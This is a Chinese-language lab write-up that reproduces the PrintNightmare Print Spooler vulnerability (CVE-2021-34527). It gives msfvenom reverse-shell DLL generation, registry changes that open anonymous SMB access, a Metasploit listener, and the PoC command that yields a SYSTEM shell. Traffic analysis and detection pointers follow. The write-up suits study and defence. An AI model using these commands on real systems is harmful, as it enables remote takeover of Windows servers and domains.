此漏洞一开始为CVE-2021-1675,随后微软把此漏洞分配给了CVE-2021-34527,并提到了两个漏洞很像,但是攻击向量是不同的。详见: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527。经过我测试,将cve-2021-1675更新补丁打上,攻击poc仍然有效,说明该漏洞还是属于CVE-2021-34527。

该漏洞为低权限的用户使用RpcAddPrinterDriverEx()函数加载恶意的打印机驱动文件,从而导致的命令执行。

0x01 # 复现环境

windows server 2019 datacenter:漏洞主机
kali:攻击机
windosw 10:提供匿名smb文件共享
攻击脚本: https://github.com/cube0x0/CVE-2021-1675

0x02 msf生成反弹shell dll

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=6666 -f dll > reverse.dll

0x03 win10机器设置匿名smb共享

在win10机器上利用powershell输入以下命令,主要是新建C:share目录,并开放匿名用户访问并读取文件。

mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

设置完成后,将生成的reverse.dll上传上去。这里可以用kali自带的smbclient工具验证是否能匿名下载:

smbclient \\\\192.168.1.127\\share                                                                                                                                              
Enter WORKGROUP\coco's password: 
Anonymous login successful
smb: \> get reverse.dll

如果能匿名访问,并且顺利把reverse.dll下载到本地,则说明设置正确。

0x04 更新impacket工具

该POC作者说明需要更新impacket工具成自己的版本

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

0x05 msf监听端口

msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.120
msf6 exploit(multi/handler) > set lport 6666
msf6 exploit(multi/handler) > run

0x06 运行POC

这里注意运行poc脚本时调用的impacket工具是该poc作者的版本,如果电脑有多个版本的python,用./CVE-2021-1675.py的方式启动可能会有问题,因为./启动的是脚本/usr/bin/python3路径的python,如果当前环境变量的python3不是那个,就会有问题,所以建议用python3启动该脚本。

python3 CVE-2021-1675.py spooltest/testuser:[email protected] '\\192.168.1.127\share\reverse.dll'

运行完poc,msf就收到了一个system权限的反弹shell。

0x07 流量分析

由于脚本使用impacket工具优先使用smb3加密通讯,后面的流量不利于分析,所以将受害机的smb3/smb2禁用。

Set-SmbServerConfiguration -EnableSMB2Protocol $false

同时在服务器功能中安装smb1.0,因为smb1.0默认在windows server 2019中未安装。
根据代码和流量分析,主要有以下几个阶段:
1、以域内普通用户身份(用户名密码或用户哈希)通过smb认证
2、建立IPC$管道,使用rpc连接spoolss
3、列出目标的PrinterDrivers,找到打印机驱动程序unidrv.dll的路径
4、使用AddPrinterDriverEx的方式添加恶意dll,其中将APD_INSTALL_WARNED_DRIVER设置为0x00008000绕过服务端校验添加打印机驱动程序
5、将原有C:\Windows\System32\spool\drivers\x64\3目录下的unidrv.dllkernelbase.dll、原始的驱动程序dll备份到C:\Windows\System32\spool\drivers\x64\3\old目录下
代码中的0x8000.png
APD_INSTALL_WARNED_DRIVER = 0x00008000流量中体现.png

0x08 检测

对于该漏洞的检测,可以从进程行为(Rundll32.exe),windows日志,文件变动等方面考虑,互联网上已经有很好的文章了。可以参考:I Pity the Spool: Detecting PrintNightmare CVE-2021-34527CVE-2021-1675 打印机漏洞沦陷域控的补充

参考资料:
https://github.com/afwu/PrintNightmare
https://xlab.tencent.com/cn/2021/06/21/xlab-21-001/
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b
Last modification:July 7th, 2021 at 02:20 am